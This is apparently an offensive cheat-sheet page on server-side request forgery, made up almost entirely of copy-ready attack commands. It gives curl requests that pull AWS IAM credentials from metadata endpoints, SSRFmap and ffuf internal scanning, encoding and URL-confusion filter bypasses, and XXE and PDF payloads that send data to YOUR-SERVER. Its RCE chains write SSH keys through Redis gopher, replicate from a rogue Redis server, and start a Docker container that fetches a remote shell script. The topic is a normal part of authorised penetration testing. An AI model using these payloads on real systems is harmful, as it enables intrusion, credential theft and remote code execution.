SSRF Testing & Exploitation

Server-Side Request Forgery (SSRF) allows attackers to make the server initiate requests to internal or external resources. This can lead to sensitive data exposure, cloud metadata access, internal port scanning or even remote code execution when chained properly. This section covers the full SSRF testing workflow — from identifying vulnerable parameters, using automation tools, crafting bypass payloads, to chaining with other vulnerabilities.

17 Categories59 CommandsCopy Ready

SSRF Testing & Exploitation

Server-Side Request Forgery testing with cloud metadata endpoints, URL schemes, and exploitation techniques.

Last updated: 2026-05-15

Intro

What is SSRF?

1 commands

1SSRF may lead to: Internal network access, Cloud metadata exposure, Blind SSRF interactions, Internal port scanning, Credential theft, Redis/Docker exploitation, SSRF to RCE chains

Server-Side Request Forgery (SSRF) occurs when an app fetches remote resources based on user input without validation

Phase 1

Common SSRF Parameters

3 commands

1#1 Find URLs with common SSRF-prone parameters

2#2 Find API/webhook integrations or cloud metadata patterns

3Full list: url, uri, path, dest, redirect, redirect_uri, next, return, continue, domain, feed, host, port, callback, webhook, api, fetch, file, img, src, load, proxy

echo 'url= uri= path= dest= redirect= redirect_uri= next= return= continue= domain= feed= host= port= callback= webhook= api= fetch= file= img= src= load= proxy='

Phase 2

Basic SSRF Detection

4 commands

1#1 Basic SSRF to loopback interface

curl "https://target.com/page?url=http://127.0.0.1:80/"

2#2 Test localhost on alternate port

curl "https://target.com/page?url=http://localhost:8080"

3#3 Target internal AWS cloud metadata endpoint

curl "https://target.com/api?endpoint=http://169.254.169.254/latest/meta-data/"

4#4 Extract IAM security credentials from AWS metadata

curl "https://target.com/api?endpoint=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Phase 4

SSRF Automation — GF & Nuclei

4 commands

1#1 Use gf to filter URLs matching SSRF patterns

cat urls.txt | gf ssrf > ssrf_urls.txt

2#2 Run Nuclei SSRF templates against URL list

nuclei -t http/vulnerabilities/ssrf/ -l urls.txt

3#3 Pipe URLs directly into Nuclei SSRF scanning

cat urls.txt | nuclei -t nuclei-templates/vulnerabilities/ssrf/

4#4 Save Nuclei SSRF scan results to file

nuclei -t http/vulnerabilities/ssrf/ -l urls.txt -o ssrf_results.txt

Phase 5

SSRF Automation — SSRFmap

4 commands

1#1 Install SSRFmap tool

git clone https://github.com/swisskyrepo/SSRFmap.git && cd SSRFmap && pip install -r requirements.txt

2#2 Use SSRFmap with request file, param, and readfiles module

python3 ssrfmap.py -r request.txt -p url -m readfiles

3#3 Use SSRFmap to scan internal ports

python3 ssrfmap.py -r request.txt -p url -m portscan

4#4 Exploit internal Redis via SSRF

python3 ssrfmap.py -r request.txt -p url -m redis

Phase 6

Internal Network Scanning via SSRF

4 commands

1#1 Test SSH port on loopback

https://target.com/?url=http://127.0.0.1:22

2#2 Test internal service on private IP

https://target.com/?url=http://10.0.0.5:8080

3#3 Fuzz internal ports with ffuf

ffuf -u "https://target.com/?url=http://127.0.0.1:FUZZ" -w ports.txt

4#4 Scan internal subnet IPs with ffuf

ffuf -u "https://target.com/?url=http://10.0.0.FUZZ:80" -w ips.txt

Phase 7

Cloud Metadata Exploitation

4 commands

1#1 AWS — List all metadata categories

http://169.254.169.254/latest/meta-data/

2#2 AWS — Dump IAM role credentials

http://169.254.169.254/latest/meta-data/iam/security-credentials/

3#3 GCP — Access Google Cloud metadata

http://metadata.google.internal/

4#4 Azure — Access instance metadata

http://169.254.169.254/metadata/instance?api-version=2021-02-01

Phase 8

SSRF Filter Bypass — IP Formats

6 commands

1#1 Shortened IPv4 loopback

http://127.1

2#2 Decimal representation of 127.0.0.1

http://2130706433

3#3 Hex representation of 127.0.0.1

http://0x7f000001

4#4 Octal representation of 127.0.0.1

http://017700000001

5#5 IPv6 loopback address

http://[::1]

6#6 Fragment bypass (URL-encoded #)

http://127.0.0.1%23.google.com

Phase 9

SSRF Filter Bypass — URL Confusion

4 commands

1#1 Credential confusion — treated as user:pass@host

http://127.0.0.1@google.com

2#2 Reverse credential confusion

http://google.com@127.0.0.1

3#3 Fragment bypass — google.com is just a fragment

http://127.0.0.1#google.com

4#4 Fragment hiding internal IP

http://google.com#127.0.0.1

Phase 10

SSRF Filter Bypass — Encoding

3 commands

1#1 URL-encoded decimal octets

http://%31%32%37.0.0.1

2#2 URL-encoded dots

http://127%2e0%2e0%2e1

3#3 Unicode dots (wide characters)

http://127。0。0。1

Phase 11

Open Redirect → SSRF Chain

2 commands

1#1 Step 1 — Find open redirect on trusted domain

https://trusted.com/redirect?url=http://127.0.0.1

2#2 Step 2 — Use open redirect to bypass allowlist SSRF

https://target.com/?url=https://trusted.com/redirect?url=http://127.0.0.1

Phase 12

SSRF via PDF Generators

3 commands

1#1 HTML img tag to exfiltrate via PDF generator

<img src="http://YOUR-SERVER/x">

2#2 Iframe to include cloud metadata in PDF output

<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

3#3 CSS link tag for blind SSRF callback

<link rel="stylesheet" href="http://YOUR-SERVER/style.css">

Phase 13

SSRF via XXE

2 commands

1#1 XXE + SSRF — access cloud metadata via external entity

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

2#2 Blind SSRF exfiltration via XXE

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR-SERVER/data">]>

Phase 14

Dangerous Internal Targets

4 commands

1#1 Redis — gopher protocol for Redis command injection

gopher://127.0.0.1:6379/

2#2 FastCGI — PHP-FPM via gopher

gopher://127.0.0.1:9000/

3#3 Docker API — check Docker daemon version

http://127.0.0.1:2375/version

4#4 Kubernetes API — internal cluster access

https://kubernetes.default.svc

Phase 15

SSRF to RCE Chains

3 commands

1#1 Redis — write SSH key via config dir

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/root/.ssh

2#2 Docker API — create malicious container

POST /containers/create — {"Image":"alpine","Cmd":["curl","http://YOUR-SERVER/shell.sh"]}

3#3 Redis — rogue server replication for RCE

gopher://127.0.0.1:6379/_SLAVEOF%20YOUR-SERVER%206379

Phase 16

Pro Tips

4 commands

1Try different protocols — don't stick to HTTP only

Use — http:// https:// file:// gopher:// dict://

2Don't rely only on HTTP response — check DNS/callbacks

Blind SSRF may return no output — use out-of-band detection

3Bypass techniques: IPv6 [::1], Decimal 2130706433, DNS rebinding, Redirect chains

Some apps block localhost but allow IPv6, decimal IP, DNS rebinding, redirect chains

4Detection signals: Response time differences, Unique status codes, Response size changes, DNS logs

Monitor: Time delays, Different status codes, Response length, DNS interactions

Tools

Tools & Resources

SSRFmap

Automatic SSRF exploitation tool with modules for file read, portscan, Redis, etc.

Gopherus

Generate gopher:// payloads for SSRF exploitation (Redis, MySQL, FastCGI)

Interactsh

Out-of-band interaction tool for blind SSRF detection

PayloadsAllTheThings — SSRF

Comprehensive SSRF payload and technique reference

qsreplace

Replace query string parameter values — useful with gf for SSRF fuzzing

SSRF Testing & Exploitation

17 Categories59 CommandsCopy Ready

SSRF Testing & Exploitation

SSRF Testing & Exploitation

What is SSRF?

Common SSRF Parameters

Basic SSRF Detection

Blind SSRF Detection

SSRF Automation — GF & Nuclei

SSRF Automation — SSRFmap

Internal Network Scanning via SSRF

Cloud Metadata Exploitation

SSRF Filter Bypass — IP Formats

SSRF Filter Bypass — URL Confusion

SSRF Filter Bypass — Encoding

Open Redirect → SSRF Chain

SSRF via PDF Generators

SSRF via XXE

Dangerous Internal Targets

SSRF to RCE Chains

Pro Tips

Tools & Resources

SSRF Testing & Exploitation

SSRF Testing & Exploitation

What is SSRF?

Common SSRF Parameters

Basic SSRF Detection

Blind SSRF Detection

SSRF Automation — GF & Nuclei

SSRF Automation — SSRFmap

Internal Network Scanning via SSRF

Cloud Metadata Exploitation

SSRF Filter Bypass — IP Formats

SSRF Filter Bypass — URL Confusion

SSRF Filter Bypass — Encoding

Open Redirect → SSRF Chain

SSRF via PDF Generators

SSRF via XXE

Dangerous Internal Targets

SSRF to RCE Chains

Pro Tips

Tools & Resources